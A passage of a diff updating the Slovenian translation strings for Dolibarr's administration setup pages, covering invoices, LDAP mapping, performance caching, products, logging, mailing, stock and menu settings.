      Prejemnike obvestil je mogoče definirati: +NotificationsDescUser=* na uporabnika, en uporabnik naenkrat. +NotificationsDescContact=* za stike partnerjev (kupci ali dobavitelji), en stik naenkrat. +NotificationsDescGlobal=* ali z nastavitvijo globalnih e-poštnih naslovov na nastavitveni strani modula. +ModelModules=Predloge dokumentov +DocumentModelOdt=Ustvarite dokumente iz predlog OpenDocument (datoteke .ODT / .ODS iz LibreOffice, OpenOffice, KOffice, TextEdit,...) WatermarkOnDraft=Vodni žig na osnutku dokumenta JSOnPaimentBill=Aktivacija funkcije za avtomatsko izpolnitev plačilnih vrstic na obrazcu za plačilo -CompanyIdProfChecker=Rules for Professional IDs -MustBeUnique=Must be unique? -MustBeMandatory=Mandatory to create third parties (if VAT number or type of company defined) ? -MustBeInvoiceMandatory=Mandatory to validate invoices? -TechnicalServicesProvided=Technical services provided +CompanyIdProfChecker=Pravila za poklicne izkaznice +MustBeUnique=Mora biti edinstven? +MustBeMandatory=Obvezno ustvariti partnerja (če je opredeljena ID za DDV ali vrsta podjetja) ? +MustBeInvoiceMandatory=Ali je obvezno potrjevanje računov? +TechnicalServicesProvided=Zagotovljene tehnične storitve #####DAV ##### -WebDAVSetupDesc=This is the link to access the WebDAV directory. It contains a "public" dir open to any user knowing the URL (if public directory access allowed) and a "private" directory that needs an existing login account/password for access. -WebDavServer=Root URL of %s server: %s +WebDAVSetupDesc=To je povezava za dostop do imenika WebDAV. Vsebuje "javni" imenik, ki je odprt vsakemu uporabniku, ki pozna URL (če je dostop do javnega imenika dovoljen) in "zasebni" imenik, ki za dostop potrebuje obstoječi prijavni račun/geslo. +WebDavServer=Korenski URL strežnika %s: %s ##### Webcal setup ##### WebCalUrlForVCalExport=Izvozna povezava na %s format je na voljo na naslednji povezavi: %s ##### Invoices ##### BillsSetup=Nastavitve modula za račune BillsNumberingModule=Modul za številčenje računov in dobropisov BillsPDFModules=Modeli obrazcev računov -BillsPDFModulesAccordindToInvoiceType=Invoice documents models according to invoice type -PaymentsPDFModules=Payment documents models +BillsPDFModulesAccordindToInvoiceType=Modeli fakturnih dokumentov glede na vrsto računa +PaymentsPDFModules=Modeli plačilnih dokumentov ForceInvoiceDate=Vsili datum računa kot datum potrditve -SuggestedPaymentModesIfNotDefinedInInvoice=Suggested payments mode on invoice by default if not defined on the invoice -SuggestPaymentByRIBOnAccount=Suggest payment by withdrawal on account -SuggestPaymentByChequeToAddress=Suggest payment by check to +SuggestedPaymentModesIfNotDefinedInInvoice=Privzeto predlagan način plačila na računu, če ni določen na računu +SuggestPaymentByRIBOnAccount=Predlagajte plačilo z dvigom na račun +SuggestPaymentByChequeToAddress=Predlagajte plačilo s čekom na FreeLegalTextOnInvoices=Poljubno besedilo na računu WatermarkOnDraftInvoices=Vodni žig na osnutku računa (nič, če je prazno) -PaymentsNumberingModule=Payments numbering model +PaymentsNumberingModule=Model številčenja plačil SuppliersPayment=Plačila dobaviteljem -SupplierPaymentSetup=Vendor payments setup -InvoiceCheckPosteriorDate=Check facture date before validation -InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +SupplierPaymentSetup=Nastavitev plačil dobaviteljem +InvoiceCheckPosteriorDate=Pred potrditvijo preverite datum izdelave +InvoiceCheckPosteriorDateHelp=Potrjevanje računa bo prepovedano, če je njegov datum pred datumom zadnjega računa iste vrste. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Nastavitve modula za komercialne ponudbe ProposalsNumberingModules=Moduli za številčenje komercialnih ponudb ProposalsPDFModules=Modeli obrazcev komercialnih ponudb -SuggestedPaymentModesIfNotDefinedInProposal=Suggested payments mode on proposal by default if not defined on the proposal +SuggestedPaymentModesIfNotDefinedInProposal=Privzeto predlagan način plačila v predlogu, če ni določen v predlogu FreeLegalTextOnProposal=Poljubno besedilo na komercialni ponudbi WatermarkOnDraftProposal=Vodni tisk na osnutkih komercialnih ponudb (brez, če je prazno) BANK_ASK_PAYMENT_BANK_DURING_PROPOSAL=Vprašajte za ciljni bančni račun ponudbe @@ -1449,12 +1472,12 @@ SupplierProposalPDFModules=Modeli dokumentiranja cenovnih zahtevkov za dobavitel FreeLegalTextOnSupplierProposal=Prosti tekst na cenovnih zahtevkov dobaviteljev WatermarkOnDraftSupplierProposal=Vodni tisk na osnutkih cenovnih zahtevkov za dobavitelje (brez, če je prazno) BANK_ASK_PAYMENT_BANK_DURING_SUPPLIER_PROPOSAL=Vprašaj za končni bančni račun cenovnega zahtevka -WAREHOUSE_ASK_WAREHOUSE_DURING_ORDER=Ask for Warehouse Source for order +WAREHOUSE_ASK_WAREHOUSE_DURING_ORDER=Vprašajte skladiščni vir za naročilo ##### Suppliers Orders ##### -BANK_ASK_PAYMENT_BANK_DURING_SUPPLIER_ORDER=Ask for bank account destination of purchase order +BANK_ASK_PAYMENT_BANK_DURING_SUPPLIER_ORDER=Vprašajte za naslov bančnega računa naročila ##### Orders ##### -SuggestedPaymentModesIfNotDefinedInOrder=Suggested payments mode on sales order by default if not defined on the order -OrdersSetup=Sales Orders management setup +SuggestedPaymentModesIfNotDefinedInOrder=Privzeto predlagan način plačila na prodajnem nalogu, če ni določen v naročilu +OrdersSetup=Nastavitev upravljanja prodajnih naročil OrdersNumberingModules=Moduli za številčenje naročil OrdersModelModule=Modeli obrazcev naročil FreeLegalTextOnOrders=Poljubno besedilo na naročilih @@ -1476,13 +1499,14 @@ WatermarkOnDraftContractCards=Vodni tisk na osnutkih pogodb (brez, če je prazno ##### Members ##### MembersSetup=Nastavitve modula članov MemberMainOptions=Glavne opcije +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Urejanje uporabniških imen za vse člane -AdherentMailRequired=Email required to create a new member +AdherentMailRequired=Za ustvarjanje novega člana je potreben e-poštni naslov MemberSendInformationByMailByDefault=Kontrolno polje za pošiljanje potrdil članom po pošti (potrditev ali nova naročnina) je privzeto označeno -MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Visitor can choose from available payment modes -MEMBER_REMINDER_EMAIL=Enable automatic reminder by email of expired subscriptions. Note: Module %s must be enabled and correctly setup to send reminders. -MembersDocModules=Document templates for documents generated from member record +MemberCreateAnExternalUserForSubscriptionValidated=Ustvarite prijavo zunanjega uporabnika za vsako potrjeno naročnino novega člana +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes +MEMBER_REMINDER_EMAIL=Omogoči samodejni opomnik po e-pošti o potečenih naročninah. Opomba: Modul %s mora biti omogočen in pravilno nastavljen za pošiljanje opomnikov. +MembersDocModules=Predloge dokumentov za dokumente, ustvarjene iz evidence članov ##### LDAP setup ##### LDAPSetup=Nastavitve LDAP LDAPGlobalParameters=Globalni parametri @@ -1500,17 +1524,17 @@ LDAPSynchronizeUsers=Organizacija uporabnikov v LDAP LDAPSynchronizeGroups=Organizacija skupin v LDAP LDAPSynchronizeContacts=Organizacija kontaktov v LDAP LDAPSynchronizeMembers=Organizacija članov ustanove v LDAP -LDAPSynchronizeMembersTypes=Organization of foundation's members types in LDAP +LDAPSynchronizeMembersTypes=Organizacija tipov članov ustanove v LDAP LDAPPrimaryServer=Primarni strežnik LDAPSecondaryServer=Sekundarni strežnik LDAPServerPort=Vrata strežnika -LDAPServerPortExample=Standard or StartTLS: 389, LDAPs: 636 +LDAPServerPortExample=Standardni ali StartTLS: 389, LDAP-ji: 636 LDAPServerProtocolVersion=Različica protokola LDAPServerUseTLS=Use TLS -LDAPServerUseTLSExample=Your LDAP server use StartTLS +LDAPServerUseTLSExample=Vaš strežnik LDAP uporablja StartTLS LDAPServerDn=DN strežnika LDAPAdminDn=DN administratorja -LDAPAdminDnExample=Complete DN (ex: cn=admin,dc=example,dc=com or cn=Administrator,cn=Users,dc=example,dc=com for active directory) +LDAPAdminDnExample=Celoten DN (npr.: cn=admin,dc=example,dc=com ali cn=Administrator,cn=Users,dc=example,dc=com za aktivni imenik) LDAPPassword=Geslo administratorja LDAPUserDn=DN uporabnikov LDAPUserDnExample=Celoten DN (npr: ou=users,dc=society,dc=com) @@ -1524,7 +1548,7 @@ LDAPDnContactActive=Sinhronizacija kontaktov LDAPDnContactActiveExample=Aktivirana/deaktivirana sinhronizacija LDAPDnMemberActive=Sinhronizacija članov LDAPDnMemberActiveExample=Aktivirana/deaktivirana sinhronizacija -LDAPDnMemberTypeActive=Members types' synchronization +LDAPDnMemberTypeActive=Sinhronizacija vrst članov LDAPDnMemberTypeActiveExample=Aktivirana/deaktivirana sinhronizacija LDAPContactDn=DN Dolibarr kontaktov LDAPContactDnExample=Celoten DN (npr: ou=contacts,dc=society,dc=com) @@ -1532,8 +1556,8 @@ LDAPMemberDn=DN Dolibarr članov LDAPMemberDnExample=Celoten DN (npr: ou=members,dc=society,dc=com) LDAPMemberObjectClassList=List of objectClass LDAPMemberObjectClassListExample=List of objectClass defining record attributes (ex: top,inetOrgPerson or top,user for active directory) -LDAPMemberTypeDn=Dolibarr members types DN -LDAPMemberTypepDnExample=Complete DN (ex: ou=memberstypes,dc=example,dc=com) +LDAPMemberTypeDn=Dolibarr člani vrste DN +LDAPMemberTypepDnExample=Izpolnite DN (npr.: ou=memberstypes,dc=example,dc=com) LDAPMemberTypeObjectClassList=List of objectClass LDAPMemberTypeObjectClassListExample=List of objectClass defining record attributes (ex: top,groupOfUniqueNames) LDAPUserObjectClassList=List of objectClass @@ -1547,131 +1571,131 @@ LDAPTestSynchroContact=Test contact's synchronization LDAPTestSynchroUser=Test user's synchronization LDAPTestSynchroGroup=Test group's synchronization LDAPTestSynchroMember=Test member's synchronization -LDAPTestSynchroMemberType=Test member type synchronization +LDAPTestSynchroMemberType=Preizkusite sinhronizacijo tipa člana LDAPTestSearch= Test LDAP iskanja LDAPSynchroOK=Synchronization test successful LDAPSynchroKO=Failed synchronization test -LDAPSynchroKOMayBePermissions=Failed synchronization test. Check that the connection to the server is correctly configured and allows LDAP updates +LDAPSynchroKOMayBePermissions=Neuspešen preizkus sinhronizacije. Preverite, ali je povezava s strežnikom pravilno konfigurirana in omogoča posodobitve LDAP LDAPTCPConnectOK=TCP connect to LDAP server successful (Server=%s, Port=%s) LDAPTCPConnectKO=TCP connect to LDAP server failed (Server=%s, Port=%s) -LDAPBindOK=Connect/Authenticate to LDAP server successful (Server=%s, Port=%s, Admin=%s, Password=%s) -LDAPBindKO=Connect/Authenticate to LDAP server failed (Server=%s, Port=%s, Admin=%s, Password=%s) +LDAPBindOK=Povezava/avtentikacija na strežnik LDAP je bila uspešna (Server=%s, Port=%s, Admin=%s, Password=%s) +LDAPBindKO=Povezava/avtentikacija na strežnik LDAP ni uspela (Server=%s, Port=%s, Admin=%s, Password=%s) LDAPSetupForVersion3=LDAP server configured for version 3 LDAPSetupForVersion2=LDAP server configured for version 2 LDAPDolibarrMapping=Dolibarr Mapping LDAPLdapMapping=LDAP Mapping LDAPFieldLoginUnix=Login (unix) -LDAPFieldLoginExample=Example: uid +LDAPFieldLoginExample=Primer: uid LDAPFilterConnection=Search filter -LDAPFilterConnectionExample=Example: &(objectClass=inetOrgPerson) -LDAPGroupFilterExample=Example: &(objectClass=groupOfUsers) +LDAPFilterConnectionExample=Primer: &(objectClass=inetOrgPerson) +LDAPGroupFilterExample=Primer: &(objectClass=groupOfUsers) LDAPFieldLoginSamba=Login (samba, activedirectory) -LDAPFieldLoginSambaExample=Example: samaccountname +LDAPFieldLoginSambaExample=Primer: samaccountname LDAPFieldFullname=Firstname Name -LDAPFieldFullnameExample=Example: cn -LDAPFieldPasswordNotCrypted=Password not encrypted -LDAPFieldPasswordCrypted=Password encrypted -LDAPFieldPasswordExample=Example: userPassword -LDAPFieldCommonNameExample=Example: cn +LDAPFieldFullnameExample=Primer: cn +LDAPFieldPasswordNotCrypted=Geslo ni šifrirano +LDAPFieldPasswordCrypted=Geslo šifrirano +LDAPFieldPasswordExample=Primer: uporabniško geslo +LDAPFieldCommonNameExample=Primer: cn LDAPFieldName=Name -LDAPFieldNameExample=Example: sn +LDAPFieldNameExample=Primer: sn LDAPFieldFirstName=First name -LDAPFieldFirstNameExample=Example: givenName +LDAPFieldFirstNameExample=Primer: podanoIme LDAPFieldMail=Email address -LDAPFieldMailExample=Example: mail +LDAPFieldMailExample=Primer: pošta LDAPFieldPhone=Professional phone number -LDAPFieldPhoneExample=Example: telephonenumber +LDAPFieldPhoneExample=Primer: telefonska številka LDAPFieldHomePhone=Personal phone number -LDAPFieldHomePhoneExample=Example: homephone +LDAPFieldHomePhoneExample=Primer: domači telefon LDAPFieldMobile=Cellular phone -LDAPFieldMobileExample=Example: mobile +LDAPFieldMobileExample=Primer: mobilni telefon LDAPFieldFax=Fax number -LDAPFieldFaxExample=Example: facsimiletelephonenumber +LDAPFieldFaxExample=Primer: telefonska številka faksa LDAPFieldAddress=Street -LDAPFieldAddressExample=Example: street +LDAPFieldAddressExample=Primer: ulica LDAPFieldZip=Zip -LDAPFieldZipExample=Example: postalcode +LDAPFieldZipExample=Primer: poštna številka LDAPFieldTown=Town -LDAPFieldTownExample=Example: l +LDAPFieldTownExample=Primer: l LDAPFieldCountry=Country LDAPFieldDescription=Description -LDAPFieldDescriptionExample=Example: description +LDAPFieldDescriptionExample=Primer: opis LDAPFieldNotePublic=Javna opomba -LDAPFieldNotePublicExample=Example: publicnote +LDAPFieldNotePublicExample=Primer: javna opomba LDAPFieldGroupMembers= Group members -LDAPFieldGroupMembersExample= Example: uniqueMember +LDAPFieldGroupMembersExample= Primer: uniqueMember LDAPFieldBirthdate=Birthdate LDAPFieldCompany=Company -LDAPFieldCompanyExample=Example: o +LDAPFieldCompanyExample=Primer: o LDAPFieldSid=SID -LDAPFieldSidExample=Example: objectsid +LDAPFieldSidExample=Primer: objectsid LDAPFieldEndLastSubscription=Date of subscription end -LDAPFieldTitle=Job position +LDAPFieldTitle=Delovno mesto LDAPFieldTitleExample=Primer: naziv -LDAPFieldGroupid=Group id -LDAPFieldGroupidExample=Exemple : gidnumber -LDAPFieldUserid=User id -LDAPFieldUseridExample=Exemple : uidnumber -LDAPFieldHomedirectory=Home directory -LDAPFieldHomedirectoryExample=Exemple : homedirectory -LDAPFieldHomedirectoryprefix=Home directory prefix +LDAPFieldGroupid=ID skupine +LDAPFieldGroupidExample=Primer: gidnumber +LDAPFieldUserid=Uporabniško ime +LDAPFieldUseridExample=Primer: uidnumber +LDAPFieldHomedirectory=Domači imenik +LDAPFieldHomedirectoryExample=Primer: domači imenik +LDAPFieldHomedirectoryprefix=Predpona domačega imenika LDAPSetupNotComplete=LDAP setup not complete (go on others tabs) LDAPNoUserOrPasswordProvidedAccessIsReadOnly=No administrator or password provided. LDAP access will be anonymous and in read only mode. LDAPDescContact=This page allows you to define LDAP attributes name in LDAP tree for each data found on Dolibarr contacts. LDAPDescUsers=This page allows you to define LDAP attributes name in LDAP tree for each data found on Dolibarr users. LDAPDescGroups=This page allows you to define LDAP attributes name in LDAP tree for each data found on Dolibarr groups. LDAPDescMembers=This page allows you to define LDAP attributes name in LDAP tree for each data found on Dolibarr members module. -LDAPDescMembersTypes=This page allows you to define LDAP attributes name in LDAP tree for each data found on Dolibarr members types. +LDAPDescMembersTypes=Ta stran vam omogoča, da določite ime atributov LDAP v drevesu LDAP za vsak podatek, ki ga najdete na vrstah članov Dolibarr. LDAPDescValues=Example values are designed for OpenLDAP with following loaded schemas: core.schema, cosine.schema, inetorgperson.schema). If you use thoose values and OpenLDAP, modify your LDAP config file slapd.conf to have all thoose schemas loaded. ForANonAnonymousAccess=For an authenticated acces (for a write access for example) PerfDolibarr=Nastavitev zmogljivosti/optimizacija poročila -YouMayFindPerfAdviceHere=This page provides some checks or advice related to performance. -NotInstalled=Not installed. -NotSlowedDownByThis=Not slowed down by this. -NotRiskOfLeakWithThis=Not risk of leak with this. +YouMayFindPerfAdviceHere=Ta stran ponuja nekaj preverjanj ali nasvetov v zvezi z delovanjem. +NotInstalled=Ni nameščeno. +NotSlowedDownByThis=To ne upočasni. +NotRiskOfLeakWithThis=Pri tem ni nevarnosti puščanja. ApplicativeCache=Aplikativni predpomnilnik MemcachedNotAvailable=Ni najden aplikativni predpomnilnik. Zmogljivost lahko izboljšate z namestitvijo predpomnilniškega strežnika Memcached in modula, ki zna uporabljati ta predpomnilniški strežnik.
      Več informacij najdete tukaj http://wiki.dolibarr.org/index.php/Module_MemCached_EN.
      Vedite, da veliko gostiteljev spletnih strani ne zagotavlja takega predpomnilniškega strežnika.. MemcachedModuleAvailableButNotSetup=Najden je predpomnilniški modul za aplikativni predpomnilnik, vendar nastavitev modula ni zaključena. MemcachedAvailableAndSetup=Vklopljen je predpomnilniški modul za predpomnilniški strežnik. OPCodeCache=OPCode predpomnilnik -NoOPCodeCacheFound=No OPCode cache found. Maybe you are using an OPCode cache other than XCache or eAccelerator (good), or maybe you don't have OPCode cache (very bad). +NoOPCodeCacheFound=Predpomnilnik OPCode ni bil najden. Morda uporabljate predpomnilnik OPCode, ki ni XCache ali eAccelerator (dobro) ali pa morda nimate predpomnilnika OPCode (zelo slabo). HTTPCacheStaticResources=HTTP predpomnilnik za statične vire (css, img, javascript) FilesOfTypeCached=Datoteke tipa %s so shranjene v predpomnilniku HTTP strežnika FilesOfTypeNotCached=Datoteke tipa %s niso shranjene v predpomnilniku HTTP strežnika FilesOfTypeCompressed=Datoteke tipa %s so komprimirane v HTTP strežniku FilesOfTypeNotCompressed=Datoteke tipa %s niso komprimirane v HTTP strežniku CacheByServer=Predpomnilnik v strežniku -CacheByServerDesc=For example using the Apache directive "ExpiresByType image/gif A2592000" +CacheByServerDesc=Na primer z uporabo direktive Apache "ExpiresByType image/gif A2592000" CacheByClient=Predpomnilnik v brskalniku CompressionOfResources=Kompresija HTTP odgovorov -CompressionOfResourcesDesc=For example using the Apache directive "AddOutputFilterByType DEFLATE" +CompressionOfResourcesDesc=Na primer z uporabo direktive Apache "AddOutputFilterByType DEFLATE" TestNotPossibleWithCurrentBrowsers=Taka avtomatska zaznava ni možna v trenutnem brskalniku -DefaultValuesDesc=Here you may define the default value you wish to use when creating a new record, and/or default filters or the sort order when you list records. -DefaultCreateForm=Default values (to use on forms) -DefaultSearchFilters=Default search filters -DefaultSortOrder=Default sort orders -DefaultFocus=Default focus fields -DefaultMandatory=Mandatory form fields +DefaultValuesDesc=Tukaj lahko določite privzeto vrednost, ki jo želite uporabiti pri ustvarjanju novega zapisa, in/ali privzete filtre ali vrstni red razvrščanja, ko navajate zapise. +DefaultCreateForm=Privzete vrednosti (za uporabo na obrazcih) +DefaultSearchFilters=Privzeti iskalni filtri +DefaultSortOrder=Privzeti vrstni redi +DefaultFocus=Privzeta polja fokusa +DefaultMandatory=Obvezna polja obrazca ##### Products ##### ProductSetup=Nastavitve modula za proizvode ServiceSetup=Storitve modul nastavitev ProductServiceSetup=Izdelki in storitve moduli za nastavitev -NumberOfProductShowInSelect=Maximum number of products to show in combo select lists (0=no limit) -ViewProductDescInFormAbility=Display product descriptions in lines of items (otherwise show description in a tooltip popup) -OnProductSelectAddProductDesc=How to use the description of the products when adding a product as a line of a document -AutoFillFormFieldBeforeSubmit=Auto fill the description input field with the description of product -DoNotAutofillButAutoConcat=Do not autofill the input field with description of product. Description of the product will be concatenated to the entered description automatically. -DoNotUseDescriptionOfProdut=Description of the product will never be included into the description of lines of documents +NumberOfProductShowInSelect=Največje število izdelkov za prikaz na seznamih kombiniranih izbir (0=ni omejitev) +ViewProductDescInFormAbility=Prikaži opise izdelkov v vrsticah elementov (sicer prikaži opis v pojavnem oknu z opisom orodja) +OnProductSelectAddProductDesc=Kako uporabiti opis izdelkov pri dodajanju izdelka kot vrstico dokumenta +AutoFillFormFieldBeforeSubmit=Samodejno izpolni polje za vnos opisa z opisom izdelka +DoNotAutofillButAutoConcat=Vnosnega polja ne izpolnite samodejno z opisom izdelka. Opis izdelka bo samodejno povezan z vnesenim opisom. +DoNotUseDescriptionOfProdut=Opis izdelka ne bo nikoli vključen v opis vrstic dokumentov MergePropalProductCard=Aktivacija opcije za združevanje PDF dokumenta proizvoda in PDF ponudbe azur v zavihku priložene datoteke proizvod/storitev, če je proizvod/storitev v ponudbi -ViewProductDescInThirdpartyLanguageAbility=Display products descriptions in forms in the language of the third party (otherwise in the language of the user) -UseSearchToSelectProductTooltip=Also if you have a large number of products (> 100 000), you can increase speed by setting constant PRODUCT_DONOTSEARCH_ANYWHERE to 1 in Setup->Other. Search will then be limited to start of string. -UseSearchToSelectProduct=Wait until you press a key before loading content of product combo list (This may increase performance if you have a large number of products, but it is less convenient) +ViewProductDescInThirdpartyLanguageAbility=Prikaz opisov izdelkov v obrazcih v jeziku partnerja (sicer v jeziku uporabnika) +UseSearchToSelectProductTooltip=Tudi če imate veliko število izdelkov (> 100 000), lahko povečate hitrost tako, da nastavite konstanto PRODUCT_DONOTSEARCH_ANYWHERE na 1 v Nastavitve->Drugo. Iskanje bo nato omejeno na začetek niza. +UseSearchToSelectProduct=Počakajte, da pritisnete tipko, preden naložite vsebino kombiniranega seznama izdelkov (to lahko poveča zmogljivost, če imate veliko število izdelkov, vendar je manj priročno) SetDefaultBarcodeTypeProducts=Privzet tip črtne kode za proizvode SetDefaultBarcodeTypeThirdParties=Privzet tip črtne kode za partnerje UseUnits=Določi mersko enoto za količino pri urejanju vrstic naročila, ponudbe ali računa ProductCodeChecker= Modul za generiranje kode proizvodov in kontrolo (proizvod ali storitev) ProductOtherConf= Konfiguracija proizvodov/storitev -IsNotADir=is not a directory! +IsNotADir=ni imenik! ##### Syslog ##### SyslogSetup=Nastavitve Syslog modula SyslogOutput=Izhod za dnevnik @@ -1680,10 +1704,10 @@ SyslogLevel=Nivo SyslogFilename=Ime datoteke in pot YouCanUseDOL_DATA_ROOT=Za log datoteko v Dolibarr dokumentni mapi lahko uporabite DOL_DATA_ROOT/dolibarr.log. Za shranjevanje te datoteke lahko nastavite tudi drugačno pot. ErrorUnknownSyslogConstant=Konstanta %s ni znana syslog konstanta -OnlyWindowsLOG_USER=On Windows, only the LOG_USER facility will be supported -CompressSyslogs=Compression and backup of debug log files (generated by module Log for debug) -SyslogFileNumberOfSaves=Number of backup logs to keep -ConfigureCleaningCronjobToSetFrequencyOfSaves=Configure cleaning scheduled job to set log backup frequency +OnlyWindowsLOG_USER=V sistemu Windows bo podprta samo možnost LOG_USER +CompressSyslogs=Stiskanje in varnostno kopiranje datotek dnevnika odpravljanja napak (generira modul Log for debug) +SyslogFileNumberOfSaves=Število varnostnih kopij dnevnikov, ki jih je treba hraniti +ConfigureCleaningCronjobToSetFrequencyOfSaves=Konfigurirajte načrtovano opravilo čiščenja, da nastavite pogostost varnostnega kopiranja dnevnika ##### Donations ##### DonationsSetup=Nastanitev modula za donacije DonationsReceiptModel=Predloga računa za donacijo @@ -1706,7 +1730,7 @@ GenbarcodeLocation=Orodje za generiranje črtne kode preko komandne vrstice (upo BarcodeInternalEngine=Interno orodje BarCodeNumberManager=Upravljanje avtomatskega določanja številk črtnih kod ##### Prelevements ##### -WithdrawalsSetup=Setup of module Direct Debit payments +WithdrawalsSetup=Nastavitev modula Plačila z direktno obremenitvijo ##### ExternalRSS ##### ExternalRSSSetup=Nastavitev uvoza zunanjih RSS NewRSS=Nov vir RSS @@ -1714,22 +1738,22 @@ RSSUrl=RSS URL RSSUrlExample=Zanimiv vir RSS ##### Mailing ##### MailingSetup=Nastavitev E-mail modula -MailingEMailFrom=Sender email (From) for emails sent by emailing module -MailingEMailError=Return Email (Errors-to) for emails with errors +MailingEMailFrom=E-pošta pošiljatelja (Od) za e-pošto, poslano z modulom za pošiljanje e-pošte +MailingEMailError=Vrni e-pošto (Errors-to) za e-pošto z napakami MailingDelay=Čakanje v sekundah po pošiljanju naslednjega sporočila ##### Notification ##### -NotificationSetup=Email Notification module setup -NotificationEMailFrom=Sender email (From) for emails sent by the Notifications module +NotificationSetup=Nastavitev modula za obveščanje po e-pošti +NotificationEMailFrom=E-pošta pošiljatelja (Od) za e-pošto, ki jo pošlje modul Obvestila FixedEmailTarget=Prejemnik -NotificationDisableConfirmMessageContact=Hide the list of recipients (subscribed as contact) of notifications into the confirmation message -NotificationDisableConfirmMessageUser=Hide the list of recipients (subscribed as user) of notifications into the confirmation message -NotificationDisableConfirmMessageFix=Hide the list of recipients (subscribed as global email) of notifications into the confirmation message +NotificationDisableConfirmMessageContact=Skrij seznam prejemnikov (naročenih kot kontakt) obvestil v potrditveno sporočilo +NotificationDisableConfirmMessageUser=Skrij seznam prejemnikov (naročenih kot uporabnik) obvestil v potrditveno sporočilo +NotificationDisableConfirmMessageFix=Skrij seznam prejemnikov (naročenih kot globalna e-pošta) obvestil v potrditveno sporočilo ##### Sendings ##### -SendingsSetup=Shipping module setup +SendingsSetup=Nastavitev modula za pošiljanje SendingsReceiptModel=Obrazci odpremnic SendingsNumberingModules=Moduli za številčenje pošiljk SendingsAbility=Podpora poslanih dokumentov za dobavo kupcem -NoNeedForDeliveryReceipts=In most cases, shipping sheets are used both as sheets for customer deliveries (list of products to send) and sheets that are received and signed by customer. Hence the product deliveries receipt is a duplicated feature and is rarely activated. +NoNeedForDeliveryReceipts=V večini primerov se odpremni listi uporabljajo tako kot listi za dostavo strank (seznam izdelkov za pošiljanje) kot listi, ki jih stranka prejme in podpiše. Zato je potrdilo o dostavi izdelka podvojena funkcija in se redko aktivira. FreeLegalTextOnShippings=Prosti tekst na pošiljkah ##### Deliveries ##### DeliveryOrderNumberingModules=Modul za številčenje dobavnic @@ -1739,55 +1763,55 @@ FreeLegalTextOnDeliveryReceipts=Poljubno besedilo na odpremnici ##### FCKeditor ##### AdvancedEditor=Napredni urejevalnik ActivateFCKeditor=Aktiviranje FCKeditor za: -FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements -FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements -FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForNotePublic=WYSIWIG izdelava/izdaja polja "javne opombe" elementov +FCKeditorForNotePrivate=WYSIWIG izdelava/izdaja polja "zasebne opombe" elementov +FCKeditorForCompany=WYSIWIG urejanje opisov elementov (razen izdelkov/storitev) +FCKeditorForProductDetails=WYSIWIG izdelava/izdaja opisa izdelkov ali vrstic za objekte (vrstice predlogov, naročil, računov, itd...). +FCKeditorForProductDetails2=Opozorilo: uporaba te možnosti v tem primeru resno ni priporočljiva, saj lahko povzroči težave s posebnimi znaki in oblikovanjem strani pri ustvarjanju datotek PDF. FCKeditorForMailing= WYSIWIG kreiranje/urejanje pošte FCKeditorForUserSignature=WYSIWIG kreiranje/urejanje podpisa uporabnika -FCKeditorForMail=WYSIWIG creation/edition for all mail (except Tools->eMailing) -FCKeditorForTicket=WYSIWIG creation/edition for tickets +FCKeditorForMail=Ustvarjanje/izdaja WYSIWIG za vso pošto (razen Tools->eMailing) +FCKeditorForTicket=Izdelava/izdaja WYSIWIG za vstopnice ##### Stock ##### -StockSetup=Stock module setup -IfYouUsePointOfSaleCheckModule=If you use the Point of Sale module (POS) provided by default or an external module, this setup may be ignored by your POS module. Most POS modules are designed by default to create an invoice immediately and decrease stock irrespective of the options here. So if you need or not to have a stock decrease when registering a sale from your POS, check also your POS module setup. +StockSetup=Nastavitev zalog modula +IfYouUsePointOfSaleCheckModule=Če uporabljate privzeti modul prodajnega mesta (POS) ali zunanji modul, bo vaš modul POS to nastavitev morda prezrl. Večina POS modulov je privzeto zasnovanih tako, da takoj ustvarijo račun in zmanjšajo zalogo ne glede na možnosti tukaj. Torej, če želite ali ne želite imeti zmanjšanja zalog pri registraciji prodaje iz vašega POS-a, preverite tudi nastavitev svojega POS modula. ##### Menu ##### MenuDeleted=Izbrisan meni -Menu=Menu +Menu=meni Menus=Meniji TreeMenuPersonalized=Prilagojeni meniji -NotTopTreeMenuPersonalized=Personalized menus not linked to a top menu entry +NotTopTreeMenuPersonalized=Prilagojeni meniji, ki niso povezani z vnosom v zgornjem meniju NewMenu=Nov meni MenuHandler=Menijski vmesnik MenuModule=Modul izvorov -HideUnauthorizedMenu=Hide unauthorized menus also for internal users (just greyed otherwise) +HideUnauthorizedMenu=Skrij nepooblaščene menije tudi za interne uporabnike (samo drugače sivi) DetailId=ID meni DetailMenuHandler=Upravljavec menijev za prikaz novega menija DetailMenuModule=Ime modula, če vnos prihaja iz modula DetailType=Tip menija (zgoraj ali levo) DetailTitre=Naziv menija ali koda naziva za prevod -DetailUrl=URL,kamor vas meni usmeri (Absolutni URL link ali zunanji link http://) +DetailUrl=URL, kamor vas pošlje meni (relativna povezava URL ali zunanja povezava s https://) DetailEnabled=Pogoj za prikaz vnosa ali ne DetailRight=Pogoj za prikaz neavtoriziranih zatemnitev menija DetailLangs=Ime jezikovne datoteke za prevod nazivnih kot DetailUser=Interni / zunanji / vsi Target=Za -DetailTarget=Target for links (_blank top opens a new window) +DetailTarget=Cilj za povezave (_prazen vrh odpre novo okno) DetailLevel=Nivo (-1:zgornji meni, 0:meni v glavi, >0 meni in podmeni) ModifMenu=Sprememba menija DeleteMenu=Izbris menijskega vnosa 